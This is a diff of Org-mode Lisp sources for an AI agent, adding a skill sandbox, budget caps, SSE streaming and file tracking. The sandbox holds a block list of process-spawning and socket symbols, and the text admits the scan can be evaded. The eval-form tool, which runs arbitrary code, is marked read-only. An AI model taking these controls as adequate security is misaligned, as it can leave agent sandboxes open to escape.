+                    (return-from load-skill-from-org nil)))
                 (unless (find-package pkg-name)
                   (let ((new-pkg (make-package pkg-name :use '(:cl)))) (use-package :passepartout new-pkg)))
                 (let ((*read-eval* nil) (*package* (find-package pkg-name)))
@@ -355,12 +359,47 @@ declarations so embedded test code evaluates in the correct package."
         (setf (skill-entry-status entry) :failed) nil))))
 #+end_src
 
+** Sandbox Source Scan (skill-source-scan)
+
+Scans Lisp source text for references to restricted symbols before any
+code is evaluated. This prevents malicious skills from executing even a
+single form. The restricted symbols cover process spawning
+(~uiop:run-program~, ~uiop:shell~, ~uiop:run-shell-command~), thread
+creation (~bt:make-thread~), and
+socket operations (~usocket:socket-connect~, ~hunchentoot:start~).
+
+Returns two values: T/NIL (blocked-p) and a list of matched symbol names.
+The scan is a text-level regex check — it catches direct references but
+not obfuscated ones. The post-eval ~symbol-function~ comparison in
+~load-skill-from-lisp~ catches those.
+
+#+begin_src lisp
+(defvar *skill-restricted-symbols*
+  '("uiop:run-program" "uiop:shell" "uiop:run-shell-command"
+    "bt:make-thread" "bordeaux-threads:make-thread"
+    "usocket:socket-connect" "usocket:socket-listen"
+    "hunchentoot:start" "hunchentoot:accept-connections")
+  "Symbol patterns blocked from skill source code at load time.")
+
+(defun skill-source-scan (code-string)
+  "Scans CODE-STRING for restricted symbol references.
+Returns (values blocked-p matched-symbols)."
+  (let ((lower (string-downcase code-string))
+        (matches nil))
+    (dolist (pattern *skill-restricted-symbols*)
+      (when (search pattern lower)
+        (push pattern matches)))
+    (values (and matches t) (nreverse matches))))
+#+end_src
+
 ** Loading from Pre-Tangled Lisp (skill-load-from-lisp)
 
 Loads a pre-tangled ~.lisp~ file directly, without parsing the Org source. This is faster than ~load-skill-from-org~ because it skips the block extraction and syntax validation (the Lisp was already validated when tangled).
 
 The same jailed package and symbol export process applies.
 
+The sandbox check runs *before* evaluation: the source text is scanned for references to restricted symbols (~uiop:run-program~, ~uiop:shell~, ~uiop:run-shell-command~, ~bt:make-thread~, ~usocket:socket-connect~, ~hunchentoot:start~). If the source references any restricted symbol, the skill is blocked immediately without executing any code. A post-eval secondary check catches indirect references (via ~symbol-function~ comparison).
+
 #+begin_src lisp
 (defun load-skill-from-lisp (filepath)
   "Loads a .lisp skill file directly, filtering out in-package forms."
@@ -372,6 +411,14 @@ The same jailed package and symbol export process applies.
                (pkg-name (intern (string-upcase (format nil "PASSEPARTOUT.SKILLS.~a" skill-base-name)) :keyword)))
           (multiple-value-bind (valid-p err) (lisp-syntax-validate content)
             (unless valid-p (error err)))
+          ;; Pre-eval sandbox scan: block before any code executes
+          (multiple-value-bind (blocked-p blocked-syms)
+              (skill-source-scan content)
+            (when blocked-p
+              (log-message "LOADER SANDBOX: Skill '~a' blocked before eval — references restricted symbol(s): ~{~a~^, ~}"
+                           skill-base-name blocked-syms)
+              (setf (skill-entry-status entry) :sandbox-blocked)
+              (return-from load-skill-from-lisp nil)))
           (unless (find-package pkg-name)
             (let ((new-pkg (make-package pkg-name :use '(:cl)))) (use-package :passepartout new-pkg)))
           (let ((*read-eval* nil) (*package* (find-package pkg-name)))
@@ -477,4 +524,4 @@ Verifies that the topological sorter correctly orders skills by their ~#+DEPENDS
 (test test-lisp-syntax-validate-invalid
   "Contract 1: unbalanced Lisp code fails syntax validation."
   (is (null (lisp-syntax-validate "(+ 1 2"))))
-#+end_src
+#+end_src

org/core-transport.org

@@ -121,7 +121,9 @@ Reads a complete framed message from a TCP stream. Handles leading whitespace be
     (handler-case
         (progn
           (loop for char = (peek-char nil stream nil :eof)
-                while (and (not (eq char :eof)) (member char '(#\Space #\Newline #\Tab #\Return)))
+                for ws-count from 0
+                while (and (not (eq char :eof)) (< ws-count 4096)
+                           (member char '(#\Space #\Newline #\Tab #\Return)))
                 do (read-char stream))
           (let ((count (read-sequence length-buffer stream)))
             (if (< count 6)
@@ -151,7 +153,7 @@ The daemon sends a handshake message on connection, then enters a read loop, inj
   (let ((stream (usocket:socket-stream socket)))
     (handler-case
         (progn
-          (format stream "~a" (frame-message (make-hello-message "0.5.0")))
+          (format stream "~a" (frame-message (make-hello-message "0.7.2")))
           (finish-output stream)
           (loop
             (let ((msg (read-framed-message stream)))
@@ -301,4 +303,4 @@ Verifies that the framing protocol correctly serializes and deserializes message
   "Contract 2: read-framed-message returns :eof on incomplete stream."
   (let ((decoded (read-framed-message (make-string-input-stream "000"))))
     (is (eq :eof decoded))))
-#+end_src
+#+end_src

org/cost-tracker.org

@@ -14,6 +14,18 @@ The tracking is minimal and accurate to within ~10-15% (using the token
 heuristic from tokenizer.lisp). It persists across daemon restarts via
 ~*session-cost*~ in the memory store.
 
+** v0.8.0 — Session Summary for Sidebar
+
+The sidebar's Cost panel needs an at-a-glance cost summary: total spent,
+call count, per-provider breakdown. ~cost-session-summary~ packages the
+three existing accessors (~cost-session-total~, ~cost-session-calls~,
+~cost-by-provider~) into a single plist ~(:total <float> :calls <int>
+:by-provider <alist>)~. This is a thin wrapper (~5 lines) — the data
+already exists; the function exposes it in the shape the TUI expects.
+
+Called from ~core-act.org~'s ~:tui~ actuator via ~fboundp~ guard.
+Degrades gracefully to nil when cost-tracker is not loaded.
+
 ** Contract
 
 1. (cost-track-call provider prompt-text response-text): compute and
@@ -21,7 +33,22 @@ heuristic from tokenizer.lisp). It persists across daemon restarts via
 2. (cost-session-total): returns the current session's total cost.
 3. (cost-session-reset): zeroes the session cost accumulator.
 4. (cost-format-budget-status total budget): returns a human-readable
-   budget status string for the TUI status bar.
+    budget status string for the TUI status bar.
+5. (cost-session-summary): returns plist
+    ~(:total <float> :calls <int> :by-provider <alist>)~ aggregating
+    all three session cost accessors. Consumed by the TUI actuator
+    for the sidebar Cost panel (v0.8.0).
+6. (budget-remaining-usd): returns the remaining budget in USD, or
+   ~most-positive-double-float~ when no budget is set.
+7. (budget-exhausted-p): returns T when a budget is set and fully
+   consumed. ~fboundp~-guarded at call sites so the checker is
+   a no-op when cost-tracker is not loaded.
+8. (budget-estimate-call prompt-text): estimates the dollar cost of a
+   pending LLM call from the prompt text. Returns 0.0 when the
+   tokenizer skill is not loaded (allows the call through).
+9. (budget-exhaustion-message): returns a ~:REQUEST~ plist with a
+   human-readable message explaining the budget cap. Injected as the
+   LLM response when the budget is exhausted.
 
 * Implementation
 
@@ -44,8 +71,12 @@ heuristic from tokenizer.lisp). It persists across daemon restarts via
 (defun cost-track-call (provider prompt-text &optional response-text)
   "Compute and accumulate the cost of a single LLM call.
 Returns the cost of this call in USD."
-  (let* ((input-tokens (funcall (symbol-function 'count-tokens) (or prompt-text "")))
-         (output-tokens (if response-text (funcall (symbol-function 'count-tokens) response-text) 0))
+  (let* ((input-tokens (if (fboundp 'count-tokens)
+                         (funcall (symbol-function 'count-tokens) (or prompt-text ""))
+                         (ceiling (length (or prompt-text "")) 4)))
+         (output-tokens (if (and response-text (fboundp 'count-tokens))
+                          (funcall (symbol-function 'count-tokens) response-text)
+                          0))
          (total-tokens (+ input-tokens output-tokens))
          (cost (provider-token-cost provider total-tokens)))
     (bordeaux-threads:with-lock-held (*session-cost-lock*)
@@ -80,6 +111,16 @@ Returns the cost of this call in USD."
     (getf *session-cost* :by-provider)))
 #+end_src
 
+** Session summary (v0.8.0)
+#+begin_src lisp
+(defun cost-session-summary ()
+  "Returns plist (:total <float> :calls <int> :by-provider <alist>)."
+  (bordeaux-threads:with-lock-held (*session-cost-lock*)
+    (list :total (getf *session-cost* :total)
+          :calls (getf *session-cost* :calls)
+          :by-provider (getf *session-cost* :by-provider))))
+#+end_src
+
 ** Session reset
 #+begin_src lisp
 (defun cost-session-reset ()
@@ -87,8 +128,7 @@ Returns the cost of this call in USD."
   (bordeaux-threads:with-lock-held (*session-cost-lock*)
     (setf (getf *session-cost* :total) 0.0)
     (setf (getf *session-cost* :calls) 0)
-    (setf (getf *session-cost* :by-provider) nil)
-    (log-message "COST TRACKER: Session cost reset.")))
+    (setf (getf *session-cost* :by-provider) nil)))
 #+end_src
 
 ** Budget status formatting
@@ -124,6 +164,50 @@ LLM invocation to record the cost.
   (cost-track-call backend prompt-text response-text))
 #+end_src
 
+** Budget enforcement (v0.5.0 deferred)
+
+Session-wide cost caps that refuse LLM calls when the budget is exhausted.
+The budget is set via ~SESSION_BUDGET_USD~ env var (default: no limit).
+When exceeded, the agent falls back to deterministic-only mode — pure Lisp
+operations still work, but no cascade calls are made until the cap is raised
+or the session is reset.
+
+#+begin_src lisp
+(defvar *session-budget*
+  (ignore-errors (read-from-string (uiop:getenv "SESSION_BUDGET_USD")))
+  "Maximum USD to spend in this session. NIL means no limit.")
+
+(defun budget-remaining-usd ()
+  "Returns remaining budget in USD, or a large sentinel if unlimited."
+  (if *session-budget*
+      (let ((remaining (- *session-budget* (cost-session-total))))
+        (if (< remaining 0) 0.0 remaining))
+      most-positive-double-float))
+
+(defun budget-exhausted-p ()
+  "T if the session budget is set and fully consumed."
+  (and *session-budget* (<= (budget-remaining-usd) 0.0)))
+
+(defun budget-estimate-call (prompt-text)
+  "Estimate the dollar cost of a pending LLM call from its prompt text.
+Returns 0.0 if the tokenizer is not loaded (allows call through)."
+  (if (fboundp 'count-tokens)
+      (let* ((tokens (funcall (symbol-function 'count-tokens) (or prompt-text "")))
+             (cost (provider-token-cost (first *provider-cascade*) tokens)))
+        cost)
+      0.0))
+
+(defun budget-exhaustion-message ()
+  "Returns a user-facing plist explaining that the budget is spent."
+  (let ((total (cost-session-total))
+        (cap *session-budget*))
+    (list :TYPE :REQUEST
+          :PAYLOAD (list :ACTION :MESSAGE
+                         :TEXT (format nil "Session budget exhausted: $~,4f of $~,2f spent. Raise SESSION_BUDGET_USD or reset with /cost-reset to continue."
+                                       total cap)
+                         :EXPLANATION "Budget cap reached. No LLM calls will be made until the limit is raised."))))
+#+end_src
+
 * Test Suite
 #+begin_src lisp
 (eval-when (:compile-toplevel :load-toplevel :execute)
@@ -186,4 +270,16 @@ LLM invocation to record the cost.
   (cost-session-reset)
   (let ((cost (cost-track-call :deepseek "test")))
     (is (> cost 0.0))))
-#+end_src
+
+(test test-cost-session-summary
+  "Contract 5: cost-session-summary returns plist with total, calls, by-provider."
+  (cost-session-reset)
+  (cost-track-call :deepseek "hello")
+  (cost-track-call :groq "world")
+  (let ((s (cost-session-summary)))
+    (is (> (getf s :total) 0.0))
+    (is (= 2 (getf s :calls)))
+    (let ((by (getf s :by-provider)))
+      (is (assoc :deepseek by))
+      (is (assoc :groq by)))))
+#+end_src

org/embedding-native.org

@@ -278,6 +278,21 @@ Used in tests and embedding comparisons.
         (/ dot (sqrt (* anorm bnorm))))))
 #+end_src
 
+* Contract
+
+1. (embedding-backend-native text): computes a 768-dim single-float
+   embedding vector via llama.cpp. Returns a simple-vector. Requires
+   the model file at ~*native-model-path*~ and the C wrapper library at
+   ~/usr/local/lib/libllama_wrap.so~.
+2. (embedding-native-load-model): loads the GGUF model file and creates
+   an inference context. Caches globally in ~*native-model*~ /
+   ~*native-context*~ — subsequent calls are no-ops. Calls
+   ~sb-int:set-floating-point-modes~ and ~llama_backend_init~.
+3. (embedding-native-unload): releases native model and context memory.
+   Sets cached globals to nil.
+4. (embedding-native-get-dim): returns the embedding dimension of the
+   loaded model (768 for nomic-embed-text-v1.5), or 0 if not loaded.
+
 * Test Suite
 
 #+begin_src lisp

org/neuro-provider.org

@@ -31,6 +31,18 @@ Providers register themselves at boot. No API key? That provider doesn't registe
    when the LLM returns a tool call, or the existing ~:content~ path otherwise.
 4. (provider-cascade-initialize): reads ~PROVIDER_CASCADE~ from env and
    sets ~*provider-cascade*~.
+5. (provider-openai-stream prompt system-prompt callback &key model provider tools):
+   v0.7.1 — executes a streaming OpenAI-compatible /v1/chat/completions
+   request. Sends ~"stream": true~ in the request body. Reads Server-Sent
+   Events (SSE) from the response stream, parsing ~data: ...~ lines. For
+   each delta with content, calls CALLBACK with the delta string. After
+   all deltas, calls CALLBACK with ~""~ to signal end-of-stream. Returns
+   ~(:status :success)~ on completion or ~(:status :error :message ...)~.
+   If ~*stream-cancel*~ is set to T (by another thread), exits the SSE
+   loop and calls CALLBACK with ~""~.
+6. (parse-sse-line line): parses an SSE line. Returns the data content
+   for ~data: <content>~ lines, ~:done~ for ~data: [DONE]~, and ~nil~
+   for comment lines (starting with ~:~), empty lines, or non-data lines.
 
 * Implementation
 
@@ -231,4 +243,166 @@ If API-KEY is nil, reads from environment."
   "Contract 4: provider-openai-request accepts :tools parameter without error."
   (let ((result (provider-openai-request "test" "system" :tools (list))))
     (fiveam:is (member (getf result :status) '(:success :error)))))
+
+;; ── v0.7.1 Streaming ──
+
+(fiveam:test test-parse-sse-line-data
+  "Contract 6: parse-sse-line extracts content from data: lines."
+  (fiveam:is (string= "hello world" (passepartout::parse-sse-line "data: hello world")))
+  (fiveam:is (string= "{\"a\":1}" (passepartout::parse-sse-line "data: {\"a\":1}"))))
+
+(fiveam:test test-parse-sse-line-done
+  "Contract 6: parse-sse-line returns :done for [DONE]."
+  (fiveam:is (eq :done (passepartout::parse-sse-line "data: [DONE]"))))
+
+(fiveam:test test-parse-sse-line-nil
+  "Contract 6: parse-sse-line returns nil for comment, empty, non-data lines."
+  (fiveam:is (null (passepartout::parse-sse-line "")))
+  (fiveam:is (null (passepartout::parse-sse-line ":ok")))
+  (fiveam:is (null (passepartout::parse-sse-line "event: ping"))))
+
+(fiveam:test test-provider-openai-stream-calls-callback
+  "Contract 5: provider-openai-stream calls callback with deltas and final empty string."
+  (let ((collected '()))
+    (flet ((collector (text) (push text collected)))
+      (passepartout::provider-openai-stream "hi" "sys" #'collector :provider :openrouter))
+    (let* ((reversed (nreverse collected))
+           (last (car (last reversed))))
+      (fiveam:is (stringp last))
+      (fiveam:is (string= "" last))
+      (fiveam:is (>= (length reversed) 2)))))
+#+end_src* v0.7.1 — Streaming Backend
+:PROPERTIES:
+:ID:       id-v071-streaming
+:CREATED:  [2026-05-08 Fri]
+:END:
+
+** SSE Parser
+
+*** RED
+#+begin_example
+test-parse-sse-line-data: 0/2 pass — stub returns nil instead of content
+test-parse-sse-line-done: 0/1 pass — stub returns nil instead of :done
+test-parse-sse-line-nil: 3/3 pass — stub correctly returns nil
+#+end_example
+
+*** GREEN
+#+begin_example
+test-parse-sse-line-data: 2/2 pass (100%)
+test-parse-sse-line-done: 1/1 pass (100%)
+test-parse-sse-line-nil: 3/3 pass (100%)
+test-provider-openai-stream-calls-callback: 3/3 pass (100%)
+llm-gateway-suite: 13/13 pass (100%)
+#+end_example
+
+** Cascade Stream
+#+begin_src lisp
+(defun cascade-stream (prompt system-prompt callback)
+  "Streaming cascade: calls provider-openai-stream on the first available backend.
+Calls CALLBACK with each delta string, then with '' to signal end-of-stream."
+  (dolist (backend *provider-cascade*)
+    (when (gethash backend *probabilistic-backends*)
+      (let ((result (provider-openai-stream prompt system-prompt callback
+                                           :provider backend)))
+        (when (eq (getf result :status) :success)
+          (return cascade-stream))))))
 #+end_src
+#+begin_src lisp
+(in-package :passepartout)
+
+(defun parse-sse-line (line)
+  "Parse an SSE line. Returns data string, :done for [DONE], nil otherwise."
+  (cond
+    ((or (null line) (string= line "")) nil)
+    ((char= (char line 0) #\:) nil)
+    ((and (>= (length line) 6) (string-equal (subseq line 0 6) "data: "))
+     (let ((content (subseq line 6)))
+       (if (string= content "[DONE]")
+           :done
+           content)))
+    (t nil)))
+#+end_src
+
+** Streaming request
+#+begin_src lisp
+(defvar *stream-cancel* nil
+  "When T, the streaming SSE loop exits early.")
+
+(defun provider-openai-stream (prompt system-prompt callback &key model (provider :openrouter) tools)
+  "Streaming OpenAI-compatible request. Calls CALLBACK with each delta, then ''."
+  (let* ((config (provider-config provider))
+         (base-url (getf config :base-url))
+         (key-env (getf config :key-env))
+         (url-env (getf config :url-env))
+         (default-model (getf config :default-model))
+         (api-key (when key-env (uiop:getenv key-env)))
+         (model-id (or model default-model))
+         (url (if url-env
+                  (let ((host (uiop:getenv url-env)))
+                    (if host
+                        (format nil "http://~a/v1/chat/completions" host)
+                        (format nil "~a/chat/completions" base-url)))
+                  (format nil "~a/chat/completions" base-url)))
+         (timeout (or (ignore-errors (parse-integer (uiop:getenv "LLM_REQUEST_TIMEOUT"))) 30))
+         (req-headers (list (cons "Content-Type" "application/json")))
+         (base `((model . ,model-id)
+                 (messages . (( (role . "system") (content . ,system-prompt) )
+                              ( (role . "user") (content . ,prompt) )))
+                 (stream . t))))
+    (when api-key
+      (push (cons "Authorization" (format nil "Bearer ~a" api-key)) req-headers))
+    (when (eq provider :openrouter)
+      (setf req-headers
+            (append req-headers
+                    `(("HTTP-Referer" . "https://github.com/amrgharbeia/passepartout")
+                      ("X-Title" . "Passepartout")))))
+    (let ((body (if tools
+                    (append base
+                            `((tools . ,(loop for tool in tools
+                                              collect (list (cons :|type| "function")
+                                                            (cons :|function|
+                                                                  (loop for (k v) on tool by #'cddr
+                                                                        collect (cons (intern (string-upcase (string k)) "KEYWORD") v))))))
+                              (:|tool_choice| . "auto")))
+                    base)))
+      (handler-case
+          (let* ((body-json (cl-json:encode-json-to-string body))
+                 (stall-seconds 30)
+                 (s (dex:post url :headers req-headers :content body-json
+                             :connect-timeout (min 5 timeout)
+                             :read-timeout stall-seconds
+                             :want-stream t)))
+            ;; v0.7.1: track stall timer — reset on each successful chunk
+            (let ((last-chunk-time (get-universal-time)))
+              (loop for raw = (handler-case (read-line s nil nil)
+                                (error (c)
+                                  (declare (ignore c))
+                                  nil))
+                     while raw
+                     do (when *stream-cancel*  ; v0.7.1: cancel check
+                          (setf *stream-cancel* nil)
+                          (funcall callback " [cancelled]")
+                          (return))
+                        (let ((parsed (parse-sse-line raw)))
+                         (cond
+                           ((null parsed))
+                           ((eq parsed :done) (return))
+                           (t (handler-case
+                                  (let* ((json (cl-json:decode-json-from-string parsed))
+                                         (choices (cdr (assoc :choices json)))
+                                         (choice (car choices))
+                                         (delta (cdr (assoc :delta choice)))
+                                         (content (cdr (assoc :content delta))))
+                                    (when content
+                                      (funcall callback content)
+                                      (setf last-chunk-time (get-universal-time))))
+                                (error ())))))
+                    (when (> (- (get-universal-time) last-chunk-time) stall-seconds)
+                      (funcall callback "[Response stalled — timed out at 30s]")
+                      (return))))
+            (funcall callback "")
+            (close s)
+            (list :status :success))
+        (error (c)
+          (list :status :error :message (format nil "~a Stream Failure: ~a" provider c)))))))
+#+end_src

org/programming-lisp.org

@@ -236,33 +236,6 @@ The skill has four layers:
 
 ** Plist Keywords Normalize (relocated from core-reason)
 
-
-
-Lisp keywords are case-sensitive. The LLM might produce ~:payload~ or ~:PAYLOAD~ depending on the model. This function normalizes keyword keys to uppercase.
-
-
-
-#+begin_src lisp
-
-(defun plist-keywords-normalize (plist)
-
-  (when (listp plist)
-
-    (loop for (k v) on plist by #'cddr
-
-          collect (if (and (symbolp k) (not (keywordp k)))
-
-                       (intern (string k) :keyword)
-
-                       k)
-
-          collect v)))
-
-#+end_src
-
-
-** Plist Keywords Normalize (relocated from core-reason)
-
 Lisp keywords are case-sensitive. The LLM might produce :payload or :PAYLOAD depending on the model. This function normalizes keyword keys to uppercase.
 
 #+begin_src lisp
@@ -365,4 +338,4 @@ Tests for the Lisp Validator structural, syntactic, and semantic gates.
          (slurped (passepartout:lisp-slurp code "work" "(step-2)")))
     (let ((form (read-from-string slurped)))
       (is (equal (last form) '((STEP-2)))))))
-#+end_src
+#+end_src

org/programming-standards.org

@@ -77,95 +77,18 @@ The Diagnostics skill is the self-knowledge of Passepartout. It answers
 2. The ~** Contract~ section MUST list every public function.
 3. Every test in ~* Test Suite~ MUST reference a specific Contract item.
 4. If you change a function's signature, you MUST update its Contract item.
-5. These files are excluded (no defuns): ~core-manifest.org~, ~setup.org~.
-6. **NO-HARDCODED-CONSTANTS**: All configurable values (thresholds, intervals,
-   paths, limits, counters) MUST be read from environment variables with a
-   documented default in ~.env.example~. No magic numbers, no hardcoded
-   string literals in function bodies for any value a user might need to
-   change. The user owns their configuration — they change it in ~.env~, not
-   in the source code. Exceptions: internal implementation details that are
-   never user-facing (hash-table sizes, buffer capacity limits, loop
-   iteration caps) may live in source. But if the value controls *behavior*
-   (how many approvals before a rule, what similarity threshold gates
-   context, how long a shell command runs before timeout), it lives
-   in ~.env~ with a fallback default.
 
-** Engineering Lifecycle (Two-Track)
+** Contract
 
-The canonical workflow. Two tracks, not to be confused:
+The standards skill itself guarantees:
 
-*** Track 1 — Org-First: Prose, Tests, Thinking (Phases 0/A)
-
-This track stays in Org. No code is written yet.
-
-**** Phase 0: Exploration & Documentation
-1. Read the relevant Org source files for context
-2. Explore the problem in the running REPL with ~repl-inspect~ and ~repl-eval~
-3. Document findings in Org prose
-4. If a bug: document investigation in Org before fixing (Org as thinking medium)
-
-**** Phase A: Test-First Design
-1. Write the success criteria as Contract items in the ~** Contract~ section
-2. Write the FiveAM test in the ~* Test Suite~ section at the bottom of the file, with a comment referencing which Contract item it verifies. Tests are embedded — no ~:tangle ../tests/...~ override.
-3. Tangle and evaluate in the REPL — confirm it fails (red)
-4. The failing test is the success criteria. Do not proceed to Track 2 until it exists and is red.
-
-*** Track 2 — REPL-First: Implementation, Iteration, Reflection (Phases B/C/D/E)
-
-Code is prototyped in the REPL, never written directly into Org first.
-
-**** Phase B/C: REPL Implementation
-1. Write the function directly in the REPL using ~repl-eval~
-2. Iterate: evaluate, inspect, fix, re-evaluate — the image accumulates state
-3. Run the test in the REPL — confirm green
-4. Explore edge cases with ~repl-inspect~ and ad-hoc evaluations
-5. Before writing any ~defun~ in an Org block, verify it was prototyped and tested in the REPL first
-
-**** Phase D: Chaos Verification
-Run the appropriate chaos tier before reflecting code back to Org:
-- *Tier 1 (Deterministic)*: Full FiveAM test suite — required on every change
-- *Tier 2 (Probabilistic)*: Randomized fuzzing — required on every major release
-- *Tier 3 (Stress)*: Load and resource starvation — required during hardening sprints
-
-**** Phase E: Reflect Back to Org
-1. Copy the working function into its own ~#+begin_src lisp~ block in the Org file
-2. Update the prose to match what the function actually does (arguments, return, rationale)
-3. Before closing Phase E, run ~(lisp-validate (uiop:read-file-string "path/to/file.lisp") :strict t)~ in the REPL — never external scripts or manual paren-counting
-4. Verify the Org file tangles correctly
-5. Tangle, commit, update GTD
-
-**** Syntax Error Protocol
-If a LOADER ERROR or reader-error occurs:
-1. Run ~(lisp-validate (uiop:read-file-string "file.lisp") :strict t)~ in the REPL — never Python, never grep, never manual counting
-2. Fix the error in the Org file (since the code was prototyped in REPL first, this should be rare)
-3. Retangle and re-evaluate
-
-Rationale: The two tracks prevent the two failure modes we have observed. Writing implementation code directly in Org (without REPL prototyping) produces syntax errors that require external tools to debug. Skipping Org-first test writing produces code without verified success criteria. The split is not bureaucratic — it is the mechanism by which both failures are prevented.
-
-** GTD Conventions
-
-Every task headline in the project's ROADMAP.org and gtd.org follows these rules:
-
-1. **:ID:** — generated by ~memory-id-generate~ (UUIDv4 with ~id-~ prefix), never written manually. Use ~(memory-id-generate)~ in the REPL to produce one.
-2. **:CREATED:** — ISO-8601 timestamp: ~[2026-05-02 Sat 14:30]~. Set when the headline is first created, never changed.
-3. **:LOGBOOK:** — each state transition is logged: ~- State "DONE" from "TODO" [2026-05-02 Sat 15:00]~.
-4. **CLOSED:** — set when the task reaches DONE: ~CLOSED: [2026-05-02 Sat 15:00]~.
-5. **TODO keywords** follow the standard sequence: ~TODO~ → ~NEXT~ → ~IN-PROGRESS~ → ~DONE~ / ~BLOCKED~ / ~CANCELLED~.
-6. **The Agent** updates these automatically during Phase E of the lifecycle. The human never needs to write a UUID or timestamp manually — the agent generates and inserts them.
-
-Example:
-
-#+begin_src org
-*** DONE Event Orchestrator
-:PROPERTIES:
-:ID:       id-4a2b9c8f-3d7e-4f12-a9b0-1c2d3e4f5a6b
-:CREATED:  [2026-05-02 Sat]
-:END:
-:LOGBOOK:
-- State "DONE" from "TODO" [2026-05-02 Sat 18:00]
-:END:
-CLOSED: [2026-05-02 Sat 18:00]
-#+end_src
+1. (standards-git-clean-p dir): checks whether directory ~dir~ has
+   uncommitted git changes. Returns T if clean, NIL if dirty. Runs
+   ~git status --porcelain~ in the target directory.
+2. (standards-lisp-verify code): validates Lisp code string for
+   structural correctness. Delegates to ~lisp-syntax-validate~.
+3. (standards-lisp-format code): applies formatting conventions to
+   Lisp code. Delegates to ~lisp-format~.
 
 * Implementation
 

org/programming-tools.org

@@ -24,6 +24,32 @@ Each tool is registered via ~def-cognitive-tool~ and appears in the LLM's tool b
 11. ~run-tests~: given optional ~:test-name~, runs specific test or all suites via ~fiveam:run-all-tests~.
 12. ~org-find-headline~: given ~:id~ or ~:title~, searches ~*memory-store*~ for matching memory objects.
 13. ~org-modify-file~: given ~:filepath~, ~:old-text~, ~:new-text~, performs exact-string replacement. Returns error if text not found.
+14. (tool-register-modified filepath &key old-content new-content):
+    appends a modification record to ~*modified-files-this-turn*~.
+    Returns the record plist ~(:filepath <s> :timestamp <unix>
+    :lines-added <n> :lines-removed <n>)~.
+15. (tool-modified-files-summary): returns the list of modified-file
+    plists accumulated this turn and clears ~*modified-files-this-turn*~.
+    Returns nil when no files were modified.
+
+** v0.8.0 — Modified Files Tracking
+
+The sidebar's Files panel needs to know which files the agent modified in
+the most recent tool execution. ~*modified-files-this-turn*~ is a list of
+plists tracking each write operation: ~(:filepath <string> :timestamp <unix>
+:lines-added <int> :lines-removed <int>)~.
+
+~tool-register-modified~ is called by ~write-file~ and ~org-modify-file~
+after successful writes. It computes line counts by comparing the old and
+new content (when available) or records the operation with nil counts.
+~tool-modified-files-summary~ returns the accumulated list and resets
+it for the next turn (reset happens at the start of each ~think()~ cycle
+in ~core-reason.lisp~).
+
+The tracking is per-turn, not cumulative — the sidebar shows what changed
+in the /last/ tool execution, matching the tool-execution visualization
+pattern from v0.7.1. Cumulative file tracking belongs in the version
+control system.
 
 * Implementation
 
@@ -48,6 +74,7 @@ Searches file contents recursively under a directory using regex pattern matchin
   ((:name "pattern" :description "The regex pattern to search for." :type "string")
    (:name "path" :description "Directory to search recursively." :type "string")
    (:name "include" :description "Optional glob filter for filenames (e.g. \"*.lisp\")." :type "string"))
+  :read-only-p t
   :guard nil
   :body (lambda (args)
           (block nil
@@ -86,9 +113,10 @@ Glob file matching using SBCL's ~directory~.
 
 #+begin_src lisp
 (def-cognitive-tool find-files
-  "Find files matching a glob pattern under a directory."
-  ((:name "pattern" :description "Glob pattern (e.g. \"*.lisp\", \"core-*\")." :type "string")
+  "Find files matching a glob pattern."
+  ((:name "pattern" :description "The glob pattern to match (e.g. \"*.lisp\")." :type "string")
    (:name "path" :description "Directory to search in." :type "string"))
+  :read-only-p t
   :guard nil
   :body (lambda (args)
           (block nil
@@ -116,6 +144,7 @@ Reads a file into a string. Supports optional ~:start~ and ~:limit~ for partial
   ((:name "filepath" :description "Path to the file to read." :type "string")
    (:name "start" :description "Optional: line number to start reading from (1-based)." :type "integer")
    (:name "limit" :description "Optional: maximum number of lines to read." :type "integer"))
+  :read-only-p t
   :guard (lambda (args) (declare (ignore args)) nil)
   :body (lambda (args)
           (block nil
@@ -153,11 +182,13 @@ Writes string content to a file, creating parent directories as needed.
                    (content (getf args :content)))
               (unless (and filepath content)
                 (return (list :status :error :message "write-file requires :filepath and :content")))
-              (handler-case
-                  (progn
-                    (tools-write-file filepath content)
-                    (list :status :success
-                          :content (format nil "Written ~d bytes to ~a" (length content) filepath)))
+                (handler-case
+                    (progn
+                      (tools-write-file filepath content)
+                      (verify-write filepath content)
+                      (tool-register-modified filepath :new-content content)
+                      (list :status :success
+                           :content (format nil "Written ~d bytes to ~a" (length content) filepath)))
                 (error (c) (list :status :error :message (format nil "~a" c))))))))
 #+end_src
 
@@ -169,8 +200,9 @@ Lists the contents of a directory, optionally filtered by a glob pattern.
 (def-cognitive-tool list-directory
   "List the contents of a directory."
   ((:name "path" :description "Directory path to list." :type "string")
-   (:name "pattern" :description "Optional glob filter (e.g. \"*.org\")." :type "string"))
-  :guard nil
+    (:name "pattern" :description "Optional glob filter (e.g. \"*.org\")." :type "string"))
+   :read-only-p t
+   :guard nil
   :body (lambda (args)
           (block nil
             (let* ((path (getf args :path))
@@ -224,6 +256,7 @@ Evaluates a Lisp expression in the running image. Binds ~*read-eval*~ to nil for
 (def-cognitive-tool eval-form
   "Evaluate a Lisp expression in the running image and return the result."
   ((:name "code" :description "The Lisp expression to evaluate as a string." :type "string"))
+  :read-only-p t
   :guard nil
   :body (lambda (args)
           (block nil
@@ -246,6 +279,7 @@ Runs FiveAM test suites. Without arguments, runs all tests via ~fiveam:run-all-t
 (def-cognitive-tool run-tests
   "Run FiveAM tests. With no arguments, runs all test suites."
   ((:name "test-name" :description "Optional: specific test name to run. If nil, runs all tests." :type "string"))
+  :read-only-p t
   :guard nil
   :body (lambda (args)
           (block nil
@@ -271,6 +305,7 @@ Finds Org headlines in the memory store by ID property or title substring match.
   "Find an Org headline by ID or title in the memory store."
   ((:name "id" :description "Optional: Org ID property to search for." :type "string")
    (:name "title" :description "Optional: headline title to search for (case-insensitive substring)." :type "string"))
+  :read-only-p t
   :guard nil
   :body (lambda (args)
           (block nil
@@ -323,12 +358,13 @@ Surgical text replacement in an Org file — matches exact text and replaces it.
                   (let ((content (uiop:read-file-string filepath)))
                     (let ((pos (search old-text content)))
                       (if pos
-                          (let ((new-content (concatenate 'string
-                                                          (subseq content 0 pos)
-                                                          new-text
-                                                          (subseq content (+ pos (length old-text))))))
-                            (tools-write-file filepath new-content)
-                            (list :status :success
+                           (let ((new-content (concatenate 'string
+                                                           (subseq content 0 pos)
+                                                           new-text
+                                                           (subseq content (+ pos (length old-text))))))
+                             (tools-write-file filepath new-content)
+                             (tool-register-modified filepath :old-content content :new-content new-content)
+                             (list :status :success
